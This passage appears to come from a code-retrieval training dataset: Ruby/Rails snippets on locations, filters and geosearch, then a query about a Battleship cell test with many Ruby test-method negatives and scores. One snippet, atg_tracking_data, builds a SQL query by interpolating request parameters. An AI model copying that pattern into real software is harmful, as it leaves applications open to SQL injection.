If user has explicitly selected the order, then this is disabled.)\n @default_orders = true\n end\n @undef_pages = paginate_letters(:letter2, :page2, args[:num_per_page] || 50)\n @undef_data = query2.select_rows(select_args)\n @undef_pages.used_letters = @undef_data.map {|row| row[0][0,1]}.uniq\n if (letter = params[:letter2].to_s.downcase) != ''\n @undef_data = @undef_data.select {|row| row[0][0,1].downcase == letter}\n end\n @undef_pages.num_total = @undef_data.length\n @undef_data = @undef_data[@undef_pages.from..@undef_pages.to]\n else\n @undef_pages = nil\n @undef_data = nil\n end\n\n # Paginate the defined locations using the usual helper. \n args[:always_index] = (@undef_pages && @undef_pages.num_total > 0)\n args[:action] = args[:action] || 'list_locations'\n show_index_of_objects(query, args)\n end",
"def index\n @specific_locations = SpecificLocation.all\n end",
"def my_location\n\t\t\"#{address}, #{city}, GA\"\n\tend",
"def get_report_locations()\n locations = Location.where(company_id: self.id)\n\n return locations\n end",
"def get_report_locations()\n locations = Location.where(company_id: self.id)\n\n return locations\n end",
"def get_report_locations()\n locations = Location.where(company_id: self.id)\n\n return locations\n end",
"def global_filter; end",
"def location_detail\n\t\t[self.city, self.state, self.country].compact.join(\", \")\n\tend",
"def locations\n locations_res.data.locations.map {|loc| location_res_to_map(loc)}\n end",
"def list_filters\n {\n track_end_date: 'TrkEndDate gt VALUE',\n track_first_submitted: 'TrkFirstSubmitted gt VALUE',\n app_no: 'AppNo eq VALUE',\n first_name: 'AppFirstName eq VALUE',\n last_name: 'AppLastName eq VALUE',\n email: 'AppEmailAddress eq VALUE'\n }\n end",
"def atg_tracking_data\n env = params[:env].downcase # uat or uat2\n loc = params[:loc].downcase # US or CA\n\n if env.blank? || loc.blank?\n render plain: ['']\n else\n render plain: AtgTracking.where(\"email like '%atg_#{env}_#{locale}%'\").order(updated_at: :desc).pluck(:email, :address1)\n end\n end",
"def location_filter(location)\n return nil if location.nil?\n location.\\\n strip.\\\n downcase.\n tr('#\"<>[]', '').\\\n gsub(/^[0-9,\\/().:]*/, '').\\\n gsub(/ +/, ' ').\\\n gsub(/,([a-z]*)/, '\\1')\n end",
"def locations_details\n locations.map {|l| l.present_as(:default) }\n end",
"def map_locs\n [location]\n end",
"def map_locs\n [location]\n end",
"def location_filter(location)\n return nil if location.nil?\n location.\\\n strip.\\\n downcase.\\\n tr('#\"<>[]', '').\\\n gsub(/^[0-9,\\/().:]*/, '').\\\n gsub(/ +/, ' ').\\\n gsub(/,([a-z]*)/, '\\1')\n end",
"def where()\n \"#{@location}-#{@op}\"\n end",
"def show\n @filter = Filter.find(params[:id])\n\n @area = @filter.polygon\n\n if @filter.edited && (@filter.include_markers_for == 0 || @filter.include_markers_for == 1)\n #@listings = []\n #@listings = Listing.where(:area.in => @filter.areas)\n @listings = Listing.where(location: {\n '$geoWithin' => {\n '$geometry' => {\n type: 'Polygon',\n coordinates: [\n @filter.polygon\n ]\n }\n }\n })\n @listings_agent_ids = []\n @listings.each do |listing|\n @listings_agent_ids.push listing.agent_id\n end\n @all_agents = Agent.where(:id.in => @listings_agent_ids)\n else\n @listings = []\n @all_agents = []\n end\n\n if @filter.edited && (@filter.include_markers_for == 0 || @filter.include_markers_for == 2)\n @agents = Agent.where(location: {\n '$geoWithin' => {\n '$geometry' => {\n type: 'Polygon',\n coordinates: [\n @filter.polygon\n ]\n }\n }\n })\n else\n @agents = []\n end\n\n @location = [-0.167, 51.474]\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @filter }\n end\n end",
"def public_location\n\t\tself.city.capitalize + \", \" + self.state.upcase\n\tend",
"def report_filter_options\n @@report_filter_options ||= [\n filter_config(kind: 'date_filter', param: 'created_at', in_required_date_group: true),\n filter_config(kind: 'object_filter', param: 'user_id', collection: :users, label: 'user'),\n filter_config(kind: 'string_filter', param: 'user_email')\n ]\n end",
"def index\n @filterrific = initialize_filterrific(\n Meter.includes(:route,customer: [:town,:zone]),\n params[:filterrific],\n :select_options => {\n sorted_by: Meter.options_for_sorted_by,\n with_town_id: Town.options_for_select,\n with_town_id_zone_id: Zone.options_for_select\n }\n ) or return\n @meters = @filterrific.find.page(params[:page])\n end",
"def filters; end",
"def filters; end",
"def where_local(query)\n begin\n url = URI.parse GOOGLE_LOCAL_URI\n response = Net::HTTP.start(url.host, url.port) do |http|\n http.get(LOCAL_QUERY_STRING + CGI.escape(query))\n end\n\n results = JSON.parse(response.body)['responseData']['results']\n \n unless results.blank?\n results.map do |result|\n result['staticMapUrl'] =~ /zl=(\\d+)/\n {\n :name => result['titleNoFormatting'],\n :city => result['city'],\n :region => result['region'],\n :country => result['country'],\n :address => result['streetAddress'],\n :postal_code => result['postalCode'],\n :latitude => result['lat'].to_f,\n :longitude => result['lng'].to_f,\n :zoom => $1.to_i\n }\n end\n else\n []\n end\n rescue\n []\n end\n end",
"def location(opts = {})\n if opts[:city] && opts[:state] && opts[:zip_code]\n @query[:location] = opts[:city] + \", \" + opts[:state] + \", \" + opts[:zip_code].to_s\n elsif opts[:zip_code]\n @query[:location] = opts[:zip_code].to_s\n elsif opts[:city] && opts[:state]\n @query[:location] = opts[:city] + \", \" + opts[:state]\n end\n return self\n end",
"def gated_discovery_filters\n return super if @access != :deposit\n [\"{!terms f=id}#{admin_set_ids_for_deposit.join(',')}\"]\n end",
"def resourceType\n 'Location'\n end",
"def country_values\n %w(\n Austria\n Belgium\n Denmark\n Finland\n France\n Germany\n Greece\n Iceland\n Ireland\n Italy\n Netherlands\n Norway\n Portugal\n Spain\n Sweden\n Switzerland\n United Kingdom\n USA\n )\n end",
"def location_count\n 1\n end",
"def filters\n mentos(:get_all_filters)\n end",
"def whitelisted_filters_for_regions\n requested_parameters = as_array(@params[:regions])\n if requested_parameters.empty?\n []\n else\n regions = []\n requested_parameters.each do |slug|\n region = region_by_slug(slug)\n regions.push(region) if region.present?\n end\n regions\n end\n end",
"def list_locations\n @company = Company.find(params[:company_id])\n @pagetitle = \"#{@company.name} - Locations\"\n \n if(@company.can_view(current_user))\n @locations = Location.where(company_id: @company.id).order(\"name\")\n else\n errPerms()\n end\n end",
"def location_countries\r\n\t\treturn LocationCountry.find :all, :order=>\"sort_order, name ASC\"\r\n\tend",
"def us_zones\n country_zones(:us)\n end",
"def parse_filters(params)\n if params['filters'].blank?\n Utilities::Geo::REGEXP_COORD.keys\n else\n params.permit(filters: [])[:filters].map(&:to_sym)\n end\n end",
"def index\n if user_signed_in?\n @listings = Listing.where(\n [\"location = :location or visibility = :visibility\",{\n location: current_user.zip_code.to_s.to_region(city: true),\n visibility: \"global\" }]).where(status: \"pending\")\n else\n @listings = Listing.open_global\n end\n end",
"def maps_api_location\n \"#{self.city}+#{self.state.sub(\"International\", \"\")}\".sub(\" \", \"+\")\n end",
"def ts_apply_filters\n # TODO: Make filters for Thinking Sphinx\n end",
"def location_hsh\n {\n \"Clancy Cullen [Offsite]\" => \"DM\",\n \"20 Cooper Square [Offsite Prep]\" => \"OK\",\n \"Bobst [Offsite Prep]\" => \"ON\"\n }\n end",
"def list_location_descriptions # :nologin:\n query = create_query(:LocationDescription, :all, :by => :name)\n show_selected_location_descriptions(query)\n end",
"def filters\n end",
"def index\n @locations = Location.order(:suburb).paginate(page: params[:page], per_page:50)\n end",
"def location_description\n LOCATION_DESCRIPTION\n end",
"def filtering_params(params)\n params.slice(:desired_location, :max_price_dollars, :tour_name, :earliest_start, :latest_end, :min_seats)\n end",
"def list_merge_options # :norobots:\n store_location\n @where = Location.user_name(@user, params[:where].to_s)\n\n # Split list of all locations into \"matches\" and \"non-matches\". Try\n # matches in the following order:\n # 1) all that start with full \"where\" string\n # 2) all that start with everything in \"where\" up to the comma\n # 3) all that start with the first word in \"where\"\n # 4) there just aren't any matches, give up\n all = Location.all(:order => 'name')\n @matches, @others = (\n split_out_matches(all, @where) or\n split_out_matches(all, @where.split(',').first) or\n split_out_matches(all, @where.split(' ').first) or\n [nil, all]\n )\n end",
"def from_search\n name = params[:id]\n lat = params[:lat]\n lon = params[:lon]\n @locations = Location.locations_from_candy_ids(Candy.ids_by_name(name))\n if(lat and lon)\n @locations = Location.nearest_five(lat.to_f, lon.to_f, @locations)\n end\n\n respond_to do |format|\n format.html\n format.json { render :json => @locations }\n end\n end",
"def list\n # list possible locations \n\n @location_suggest = get_location_suggest\n\n if params[:location]\n locations = WoeidHelper.search_by_name params[:location]\n if not locations.nil? and locations.count == 1\n set_location locations[0]\n else\n @location_asked = locations\n end\n end\n end",
"def place_name\n if location\n location.display_name\n elsif User.current_location_format == \"scientific\"\n Location.reverse_name(where)\n else\n where\n end\n end",
"def search_data\n slice = [\n :state,\n :city,\n :formatted_address,\n ]\n merge = {\n # https://github.com/ankane/searchkick#geospatial-searches\n location: { lat: latitude, lon: longitude },\n floorplan_bedroom_count: floorplans&.map(&:bedroom_count).uniq.sort,\n floorplan_bathroom_count: floorplans&.map(&:bathroom_count).uniq.sort,\n }\n attributes.symbolize_keys.slice(*slice).merge(merge)\n end",
"def index\n @grouped_companies = Company.all.group_by(&:geography) \n @companies = params[:q] ? company_filteration(params[:q],params[:region]) : Company.all\n render layout: \"browse\"\n end",
"def index\n @categories = Category.all\n if authenticated?\n @locations = Location.all\n else\n @locations = Location.where( \"is_approved = 1 AND ( show_until is null OR show_until > ? )\", Date.today )\n end\n end",
"def show_location\n\n end",
"def filtering_params\n params.slice(:country, :data_source, :vaccine,\n :date_updated_start_date, :date_updated_end_date,\n :first_vaccine_date_start, :first_vaccine_date_end)\n end",
"def filter_search\n @subjects = PipelinePositionsSubject.find(:all,:order=>\"name\")\n @grades = PipelinePositionsGradeLevel.all\n @formats = PipelinePositionsTutoringType.find(:all,:order=>\"name\")\n \n @schools = School.find(:all,:order => \"organizations.name\")\n\n @neighborhoods = @schools.collect{|school| school.locations[0].neighborhood rescue nil}.compact.uniq.sort\n \n @pipeline_positions = generate_pipeline_search(true)\n end",
"def show_selected_locations(query, args = {})\n # Restrict to subset within a geographical region (used by map\n # if it needed to stuff multiple locations into a single marker).\n query = restrict_query_to_box(query)\n\n # Get matching *undefined* locations.\n get_matching_undefined_locations(query, args)\n\n # Paginate the defined locations using the usual helper.\n args[:always_index] = @undef_pages&.num_total&.positive?\n args[:action] = args[:action] || :index\n show_index_of_objects(query, args)\n end",
"def locations\n\t\t[]\n\tend",
"def regional_office\n []\n end",
"def regional_office\n []\n end",
"def regional_office\n []\n end",
"def index\n @muster_locations = MusterLocation.all\n end",
"def modeler_description\n return 'To start with measure will hard code a string to narrow the search. Then a shorter list than all weather files on BCL will be shown. In the future woudl be nice to select region based on climate zone set in building object.'\n end",
"def geolocation_filter(geo_coordinates, geo_radius)\n geo_radius = \"100\" if !geo_radius\n h = {\n geo_distance: {\n distance: (geo_radius.to_s + \"km\"),\n location_coordinates: geo_coordinates.to_s\n }\n }\n h\n end",
"def locations\n self.veterinarians.pluck(:name, :location).map {|x| x.join(\" \")}\n end",
"def filter_description\n c = self.filter_clause\n c ? \"Show where #{c}\" : \"Show all\"\n end",
"def remote_search_options page, teaser = false\n lat, long = [geolocation.latitude, geolocation.longitude]\n opts = search_options(page).merge(\n index_name: Offer.remote_index_name,\n numericFilters:\n \"area_minlat<=#{lat},area_maxlat>=#{lat},area_minlong<=#{long},\"\\\n \"area_maxlong>=#{long}\"\n )\n opts.merge(page: 0, hitsPerPage: 2) if teaser\n opts\n end",
"def post_location_summary(post, omit_links = false, include_host = false)\n if post.locations.length > 1\n \n # Create array of distinct countries for post locations\n countries = []\n for location in post.locations\n if omit_links\n country_name = location.country.name\n else\n country_name = link_to(location.country.name.gsub(/\\s/, ' '), \n browse_country_url(:continent_code => location.country.continent.code, \n :continent_name => location.country.continent.name.gsub(/\\s/, '-'), \n :country_code => location.country.code, \n :country_name => location.country.name.gsub(/\\s/, '-'),\n :host => include_host ? $DEFAULT_HOST : nil))\n end\n if !countries.include?(country_name)\n countries << country_name\n end\n end\n \n # Display appropriate summary based on number of distinct countries\n if countries.length == 1\n location_summary = \"locations in #{countries[0]}\" \n elsif countries.length == 2\n location_summary = \"locations in #{countries[0]} and #{countries[1]}\" \n else\n location_summary = \"locations in #{countries[0]}, #{countries[1]}...\"\n end\n else\n location_summary = \"location: #{display_location(post.locations[0], omit_links, include_host)}\"\n end\n end",
"def index\n # TODO Need to sort on the Rails side so we can sort in the\n # proper order for the translated country name. In fact, if we're\n # already doing that, then the following line is unnecessary.\n options = {:order => 'country, state, city, name'}\n\n # TODO tease apart all this logic and move it under sensibly named\n # methods.\n if params[:country]\n country_name = seo_decode(params[:country])\n @country = I18n.t(country_name, :scope => :reverse_countries, :locale => host_locale) || country_name\n\n redirect_country = seo_encode better_translation(country_name, @country, :countries)\n\n if params[:state]\n state_name = seo_decode(params[:state])\n state = t(state_name, :scope => [:reverse_provinces, @country], :locale => host_locale) || state_name\n\n redirect_state = seo_encode better_translation(state_name, state, [:provinces, @country])\n\n redirect_to(:country => (redirect_country||params[:country]), :state => (redirect_state||params[:state]), :status => :moved_permanently) && return if redirect_country || redirect_state\n\n options[:conditions] = ['country = ? AND state = ?', @country, state]\n @heading = t 'clubs_in_location', :location => t(state, :scope => [:provinces, @country], :default => state_name)\n\n @title = t 'clubs_in_state_and_country', :state => state_name, :country => country_name\n else\n redirect_to(:country => redirect_country, :status => :moved_permanently) && return if redirect_country\n\n options[:conditions] = ['country = ?', @country]\n @heading = @title = t('clubs_in_location', :location => t(@country, :scope => :countries, :default => country_name))\n end\n end\n\n @locations = Location.visible.find(:all, options)\n\n @map = create_map(@locations, 1) unless @locations.blank?\n\n @locations.each do |location|\n pushpin_for_club(location, :link_club => true) if location.lat && location.lng\n end if @map\n\n respond_to do |format|\n format.html # index.html.haml\n format.xml { render :xml => @locations }\n end\n end",
"def location\n country = Carmen::Country.coded(self.country)\n if country.present? && self.state.present?\n location = country.subregions? ? country.subregions.coded(self.state).name : self.state\n location += \", \"\n else\n location = ''\n end\n country.present? ? location + country.name : nil\n end",
"def applicable_filters\n fs = []\n fs << Spree::ProductFilters.taxons_below(self)\n ## unless it's a root taxon? left open for demo purposes\n\n fs << Spree::ProductFilters.price_filter if Spree::ProductFilters.respond_to?(:price_filter)\n fs << Spree::ProductFilters.brand_filter if Spree::ProductFilters.respond_to?(:brand_filter)\n #fs << Spree::ProductFilters.occasion_filter if Spree::ProductFilters.respond_to?(:occasion_filter)\n #fs << Spree::ProductFilters.holiday_filter if Spree::ProductFilters.respond_to?(:holiday_filter)\n fs << Spree::ProductFilters.selective_occasion_filter(self) if Spree::ProductFilters.respond_to?(:selective_occasion_filter)\n fs << Spree::ProductFilters.selective_holiday_filter(self) if Spree::ProductFilters.respond_to?(:selective_holiday_filter)\n fs\n end",
"def applicable_filters\n fs = []\n fs << Spree::ProductFilters.taxons_below(self)\n ## unless it's a root taxon? left open for demo purposes\n\n fs << Spree::ProductFilters.price_filter if Spree::ProductFilters.respond_to?(:price_filter)\n fs << Spree::ProductFilters.brand_filter if Spree::ProductFilters.respond_to?(:brand_filter)\n #fs << Spree::ProductFilters.occasion_filter if Spree::ProductFilters.respond_to?(:occasion_filter)\n #fs << Spree::ProductFilters.holiday_filter if Spree::ProductFilters.respond_to?(:holiday_filter)\n fs << Spree::ProductFilters.selective_occasion_filter(self) if Spree::ProductFilters.respond_to?(:selective_occasion_filter)\n fs << Spree::ProductFilters.selective_holiday_filter(self) if Spree::ProductFilters.respond_to?(:selective_holiday_filter)\n fs\n end",
"def onsite_holdings\n holdings.select do |holding|\n !is_offsite_location_code?(holding[:location_code])\n # !LOCATIONS['offsite_locations'].include? holding[:location_code]\n end\n end"
] |
[
"0.6615434",
"0.6361893",
"0.6272898",
"0.62468433",
"0.6195903",
"0.6128753",
"0.6037819",
"0.59964734",
"0.59734243",
"0.5958469",
"0.5867461",
"0.5854296",
"0.5816783",
"0.5811774",
"0.5799572",
"0.57848537",
"0.5780321",
"0.5777612",
"0.5771566",
"0.5754402",
"0.57297873",
"0.5725761",
"0.5704304",
"0.5670759",
"0.56533134",
"0.5646039",
"0.5624391",
"0.5610154",
"0.5605461",
"0.5603593",
"0.55903953",
"0.5587709",
"0.5583083",
"0.5572592",
"0.5572592",
"0.5572592",
"0.5558052",
"0.555266",
"0.5549504",
"0.55444455",
"0.5542101",
"0.5541369",
"0.55247295",
"0.5520364",
"0.5520364",
"0.55034256",
"0.54780346",
"0.54737496",
"0.546928",
"0.5467219",
"0.5459696",
"0.5458264",
"0.5458264",
"0.54505295",
"0.54478806",
"0.5438738",
"0.5434475",
"0.5420799",
"0.541221",
"0.54120207",
"0.54099804",
"0.5409054",
"0.5406978",
"0.54061955",
"0.54061806",
"0.53702056",
"0.53639096",
"0.5362686",
"0.53598416",
"0.53561085",
"0.53549397",
"0.5347818",
"0.5333526",
"0.5330833",
"0.53258705",
"0.5313624",
"0.53052634",
"0.5304613",
"0.53002006",
"0.5297427",
"0.5295739",
"0.52954876",
"0.52913153",
"0.5278942",
"0.52777773",
"0.5272177",
"0.52639985",
"0.52639985",
"0.52639985",
"0.5262373",
"0.5259865",
"0.5257162",
"0.5256371",
"0.52498996",
"0.5248684",
"0.5247004",
"0.52425045",
"0.52421796",
"0.52377516",
"0.52377516",
"0.5233696"
] |
0.0
|
-1
|
def test_that_ship_can_be_placed_on_cell c = Cell.new ship = c.content[1][2].take(Ship.new(2,"Bot")) assert_equal("", c.take(ship).content) end
|
def test_that_cell_status_changes_when_hit
c = Cell.new
assert_equal("missed", c.if_hit())
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def test_cell_then_place(ship, attempt_x, attempt_y, starts_at)\n alpha, numb = starts_at.split(\"\")\n coordinates = \"#{get_alpha(get_index(alpha) + attempt_y)}#{numb.to_i + attempt_x}\"\n cells[coordinates].accept ship\n end",
"def test_it_can_return_when_human_wins\n board = Board.new\n cruiser = Ship.new(\"Cruiser\", 3)\n sub = Ship.new(\"Submarine\", 2)\n game_play = GamePlay.new\n cell_1 = Cell.new(\"B2\")\n cell_2 = Cell.new(\"B3\")\n cell_3 = Cell.new(\"B4\")\n board.place(cruiser, [\"A1\", \"A2\", \"A3\"])\n end",
"def test_it_can_create_a_board_of_one_peg\n\n board = Board.new(1)\n\n assert_equal 1, board.size\n\n end",
"def test_live_cell_with_two_neighbors_lives\n assert @life.will_live?(true, 2)\n end",
"def test_first_move_places_x_on_board\n @game.move(1, 1)\n assert @game.spaces.include?('X')\n end",
"def test_it_denies_valid_placement_if_ship_is_in_any_cells\n # Testing first ship\n @board.place(@cruiser, [\"A1\", \"A2\", \"A3\"])\n assert_equal false, @board.valid_placement?(@submarine, [\"A1\", \"B1\"])\n assert_equal false, @board.valid_placement?(@submarine, [\"A2\", \"B2\"])\n assert_equal false, @board.valid_placement?(@submarine, [\"A3\", \"B3\"])\n\n assert_equal true, @board.valid_placement?(@submarine, [\"B1\", \"B2\"]) # Horizontal\n assert_equal true, @board.valid_placement?(@submarine, [\"B1\", \"C1\"]) # Vertical\n end",
"def test_simple_item_copy\n engine = Demiurge::DSL.engine_from_dsl_text([\"Goblin DSL\", DSL_TEXT])\n first_cave_item = engine.item_by_name(\"first moss cave\")\n refute_nil first_cave_item\n zone = engine.item_by_name(\"moss caves\")\n refute_nil zone\n second_cave_item = engine.instantiate_new_item(\"second moss cave\", first_cave_item)\n refute_nil engine.item_by_name(\"second moss cave\")\n assert [\"first moss cave\", \"second moss cave\"].all? { |name| zone.contents_names.include?(name) }\n\n 6.times do\n engine.advance_one_tick\n end\n\n assert_equal 2, second_cave_item.state[\"moss\"]\n assert_equal 2, first_cave_item.state[\"moss\"]\n end",
"def test_dead_cell_with_three_neighbors_lives\n assert @life.will_live?(false, 3)\n end",
"def test_it_has_the_correct_number_of_cells\n assert_equal 16, @board.cells.length\n end",
"def test_row_plays_correctly\n skip\n play = Play.new\n #assert expected, actual\n assert\n end",
"def test_computer_ships_sunk\n setup_game_with_submarines_on_C3_and_D3\n assert_equal false, @game.computer_ships_sunk?(2)\n\n @game.computer_board.cells[\"C3\"].fire_upon\n @game.computer_board.cells[\"D3\"].fire_upon\n\n assert_equal true, @game.computer_ships_sunk?(2)\n end",
"def test_empty_spaces_some_empty\n result = @sudoku_1.empty_spaces(@sudoku_1.squares[1])\n assert_equal([[0, 5], [1, 3], [1, 5], [2, 4]], result)\nend",
"def place(ship, starts_at)\n raise ArgumentError, \"That ship has already placed\" if ship.placed?\n for attempt_x in 0..(ship.size_x.to_i - 1)\n for attempt_y in 0..(ship.size_y.to_i- 1)\n copy = test_cell_then_place(ship, attempt_x, attempt_y, starts_at)\n end\n end\n end",
"def test_truth\n assert_kind_of LineItem, line_items(:first)\n end",
"def test_can_start_game\n battleship = Battleship.new\n battleship.input_player_coordinates(\"A1 A2\", 1)\n assert_equal ({ \"A1\" => \"H\", \"A2\"=>\"H\", \"A3\"=>\"-\", \"A4\"=> \"-\",\n \"B1\" => \"-\", \"B2\"=>\"-\", \"B3\"=>\"-\", \"B4\"=> \"-\",\n \"C1\" => \"-\", \"C2\"=>\"-\", \"C3\"=>\"-\", \"C4\"=> \"-\",\n \"D1\" => \"-\", \"D2\"=>\"-\", \"D3\"=>\"-\", \"D4\"=> \"-\"}),\n battleship.player_grid\n\n battleship.input_player_coordinates(\"D2 D3 D4\", 2)\n assert_equal ({ \"A1\" => \"H\", \"A2\"=>\"H\", \"A3\"=>\"-\", \"A4\"=> \"-\",\n \"B1\" => \"-\", \"B2\"=>\"-\", \"B3\"=>\"-\", \"B4\"=> \"-\",\n \"C1\" => \"-\", \"C2\"=>\"-\", \"C3\"=>\"-\", \"C4\"=> \"-\",\n \"D1\" => \"-\", \"D2\"=>\"H\", \"D3\"=>\"H\", \"D4\"=> \"H\"}),\n battleship.player_grid\n end",
"def test_should_get_white_piece_on_black_square_from_initial_setup\n square = @board.sq_at(A1)\n assert_not_nil(square)\n assert(square.colour.black?)\n assert_not_nil(square.piece)\n assert(square.piece.colour.white?)\n assert_equal(Chess::Piece::ROOK, square.piece.name)\n end",
"def test_get_board\n board = get_board(@boardName)\n assert_equal \"kidz\", board['admin']\n assert_equal \"Water\", board['name']\n end",
"def testing_checkmate(board)\n\n test_pieces = [\n King.new(:w, [0,0], board),\n King.new(:b, [1,0], board),\n Queen.new(:b, [0,1], board)\n ]\n\n test_pieces.each do |test_piece|\n board[test_piece.position] = test_piece\n end\n\n board\n\nend",
"def test_create_rectangle\n game=GameOfLife.new(4,6)\n measure_universe game.state,4,6\n\n game.populate(7,5)\n measure_universe game.state,7,5\n end",
"def test_move_turns_enumerable_canyon_to_duck_type_beach\n ruby_rush=RubyRush.new(1, 2, 3)\n ruby_rush.turn=10\n ruby_rush.random(ruby_rush.seed)\n ruby_rush.move_turns_enumerable_canyon\n assert_includes ['Duck Type Beach', 'Monkey Patch City'], ruby_rush.city\n \n end",
"def test_board_should_have_9_tiles\n assert_equal(9, @board.number_of_tiles)\n end",
"def test_it_can_pick_random_coord\n assert_equal true, @board.cells.keys.include?(@board.random_coord)\n end",
"def test_robot_obstacle_diff_coords\n world = World.new(5, 5, [{:x => 2, :y => 1}])\n rover = MarsRover.new(1,1,'E', world)\n assert_equal(\"Obstacle found at x:2 y:1\", rover.command('F'))\n end",
"def test_employee_has_favorites\n assert_equal [@ship2], @employee.favorite_ships\n assert_equal [@dock, @dock2], @employee.favorite_docks\n end",
"def test_cheat\n # create a board and save the score\n @board = MyTestBoard.new\n @old_score = @board.score\n\n # cheat then get the new score and the next piece\n @board.cheat\n @new_score = @board.score\n @board.next_piece\n @new_piece = @board.current_block\n\n # the score should be less by a 100 and the next piece should be the cheating piece\n assert_equal(@new_score, @old_score - 100)\n assert_equal(@new_piece.current_rotation, [[0, 0]])\n end",
"def test_it_has_cards\n assert_equal [@card_generator.cards[0], @card_generator.cards[1], @card_generator.cards[2], @card_generator.cards[3]], @card_generator.cards\n end",
"def test_card_exists\n card = Card.new(\"What is the capital of Alaska?\", \"Juneau\", :Geography)\n turn = Turn.new(\"Juneau\", card)\n\n assert_equal card, turn.card\n end",
"def place_ship(boat)\n x = 10 - boat.size\n # vertical ship\n if boat.position\n start_row = (0..x).to_a.sample\n start_col = (0...10).to_a.sample\n row_check = start_row\n # checking if boat already exists in location, if so run place boat again with same boat\n boat.size.times do\n if $new_game.grid[row_check][start_col][:ship] == true\n $new_game.place_ship(boat)\n break\n end\n row_check += 1\n end\n boat.size.times do\n $new_game.grid[start_row][start_col][:ship] = true\n start_row += 1\n end\n # horizontal ship\n else\n start_row = (0...10).to_a.sample\n start_col = (0..x).to_a.sample\n col_check = start_col\n # checking if boat already exists in location, if so run place boat again with same boat\n boat.size.times do\n if $new_game.grid[start_row][col_check][:ship] == true\n $new_game.place_ship(boat)\n break\n end\n col_check += 1\n end\n boat.size.times do\n $new_game.grid[start_row][start_col][:ship] = true\n start_col += 1\n end\n end\n end",
"def test_it_gives_correct_elements\n game = Game.new\n input = \"rggb\"\n end",
"def test_live_cell_with_four_neighbors_dies\n refute @life.will_live?(true, 4)\n end",
"def test_it_can_validate_ship_placement\n skip\n human = Player.new(true)\n valid = \"A1 B1\"\n invalid = \"A1 B2\"\n\n assert_equal true, human.validate_ship_placement(valid, 2)\n assert_nil human.validate_ship_placement(invalid, 2)\n end",
"def test_deck_has_cards\n assert_equal [@card_1, @card_2, @card_3], @deck.cards\n end",
"def test_capacity_of_room\n assert_equal(3, @room1.capacity)\n end",
"def test_the_round_exists\n card_1 = Card.new(\"3\", \"Hearts\")\n card_2 = Card.new(\"4\", \"Clubs\")\n deck = Deck.new([card_1, card_2])\n round = Round.new(deck)\n assert_instance_of Round, round\n end",
"def test_room_size\n assert_equal(3,@room.size)\n end",
"def test_neighbors_returns_an_array\n assert @cell.neighbors.is_a?(Array)\n end",
"def test_create_empty_word\n assert true,@newTileGroup.tiles.empty?\n end",
"def test_plane_can_take_off\n @plane.fly!\n assert @plane.flying == true\n end",
"def test_for_equality_of_two_dead_grids\n grid1 = Grid.new\n grid2 = Grid.new\n assert_equal grid1, grid2\n end",
"def test_partial_game_1\n \t@game = Bowling::Game.new '10,10'\n \tassert_equal(30, @game.scores)\n end",
"def test_ships_overlap?\n board = Board.new\n cruiser = Ship.new('Cruiser', 3)\n board.place(cruiser, [\"A1\", \"A2\", \"A3\"])\n submarine = Ship.new(\"Submarine\", 2)\n assert_equal true, board.ship_overlap?(submarine, [\"A1\", \"B1\"])\n\n assert_equal false, board.valid_placement?(submarine, [\"A1\", \"B1\"])\n assert_equal true, board.valid_placement?(submarine, [\"C1\", \"C2\"])\n end",
"def test_is_set_70_true\n # Create card objects\n card1 = Card.new(@@colors[0], @@shapes[0], @@numbers[1], @@shadings[1])\n card2 = Card.new(@@colors[1], @@shapes[2], @@numbers[1], @@shadings[2])\n card3 = Card.new(@@colors[2], @@shapes[1], @@numbers[1], @@shadings[0])\n # Call method under test\n assert(@@table.is_set(card1, card2, card3))\n end",
"def test_is_set_21_true\n # Create card objects\n card1 = Card.new(@@colors[2], @@shapes[0], @@numbers[1], @@shadings[1])\n card2 = Card.new(@@colors[2], @@shapes[1], @@numbers[0], @@shadings[1])\n card3 = Card.new(@@colors[2], @@shapes[2], @@numbers[2], @@shadings[1])\n # Call method under test\n assert(@@table.is_set(card1, card2, card3))\n end",
"def test_is_set_6_true\n # Create card objects\n card1 = Card.new(@@colors[1], @@shapes[0], @@numbers[1], @@shadings[0])\n card2 = Card.new(@@colors[1], @@shapes[0], @@numbers[0], @@shadings[2])\n card3 = Card.new(@@colors[1], @@shapes[0], @@numbers[2], @@shadings[1])\n # Call method under test\n assert(@@table.is_set(card1, card2, card3))\n end",
"def test_partial_game_2\n \t@game = Bowling::Game.new '10,10,10'\n \tassert_equal(60, @game.scores)\n end",
"def test_board\r\n puts \"#{@board[1][0]}#{@board[1][1]}\"\r\n end",
"def test_is_set_52_true\n # Create card objects\n card1 = Card.new(@@colors[0], @@shapes[0], @@numbers[1], @@shadings[1])\n card2 = Card.new(@@colors[1], @@shapes[0], @@numbers[1], @@shadings[2])\n card3 = Card.new(@@colors[2], @@shapes[0], @@numbers[1], @@shadings[0])\n # Call method under test\n assert(@@table.is_set(card1, card2, card3))\n end",
"def test_duck_type_beach_neighbors\n assert_equal ['Enumerable Canyon', 'Matzburg'], @l.duck_type_beach['neighbors']\n end",
"def test_complete_square_true\n assert_equal(true, @c_sudoku_1.unit_complete?(@c_sudoku_1.squares[0]))\n end",
"def test_it_splits_the_deck_and_creates_two_players\n game = Game.new(\"Megan\", \"Aurora\")\n\n assert_equal \"Megan\" , game.player1.name\n assert_equal 26 , game.player1.deck.cards.length\n assert_equal \"Aurora\" , game.player2.name\n assert_equal 26 , game.player2.deck.cards.length\n end",
"def test_charge_guest_for_entry\n \tassert_equal(30, @room1.charge_guest_for_entry(@guest1))\n end",
"def test_is_set_1_true\n # Create card objects\n card1 = Card.new(@@colors[0], @@shapes[0], @@numbers[0], @@shadings[0])\n card2 = Card.new(@@colors[0], @@shapes[0], @@numbers[0], @@shadings[1])\n card3 = Card.new(@@colors[0], @@shapes[0], @@numbers[0], @@shadings[2])\n # Call method under test\n assert(@@table.is_set(card1, card2, card3))\n end",
"def place_random_ship\n unless full?\n placement = []\n placement << (0...@grid.length).to_a.shuffle.first\n placement << (0...@grid[0].length).to_a.shuffle.first\n @grid[placement[0]][placement[1]] = :s\n else\n raise 'Board is full'\n end\n\n end",
"def test_is_set_74_true\n # Create card objects\n card1 = Card.new(@@colors[0], @@shapes[0], @@numbers[0], @@shadings[0])\n card2 = Card.new(@@colors[1], @@shapes[1], @@numbers[1], @@shadings[0])\n card3 = Card.new(@@colors[2], @@shapes[2], @@numbers[2], @@shadings[0])\n # Call method under test\n assert(@@table.is_set(card1, card2, card3))\n end",
